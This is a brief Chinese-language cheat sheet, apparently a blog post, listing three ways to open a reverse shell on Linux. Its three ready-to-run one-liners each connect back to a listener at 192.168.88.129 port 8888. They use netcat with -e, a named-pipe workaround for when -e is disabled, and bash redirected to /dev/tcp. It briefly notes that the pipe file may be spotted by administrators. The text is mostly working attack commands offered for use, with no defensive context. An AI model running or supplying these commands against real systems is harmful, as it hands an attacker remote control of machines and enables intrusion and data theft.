Linux下反弹shell的三种方法

Linux下反弹shell的三种方法

1.直接使用nc

nc 192.168.88.129（监听IP） 8888（监听Port） -e /bin/bash

适用目标系统nc命令没有禁用 -e参数

2.使用nc与管道

mknod backpipe p; nc 192.168.88.129（监听IP） 8888（监听Port） 0<backpipe | /bin/bash 1>backpipe 2>backpipe

使用管道符 | 连接nc的输出与bash的输入，使用自己创建的管道 backpipe连接/bin/bash的输出与nc的输入。优点：适用于nc的 -e参数被禁。缺点：会在当前目录下创建一个名为backpipe的管道文件,容易被管理员发现。

3.直接使用bash命令

bash -i >& /dev/tcp/192.168.88.129/8888 0>&1

使用 >& 把bash的错误也重定向至tcp连接的输入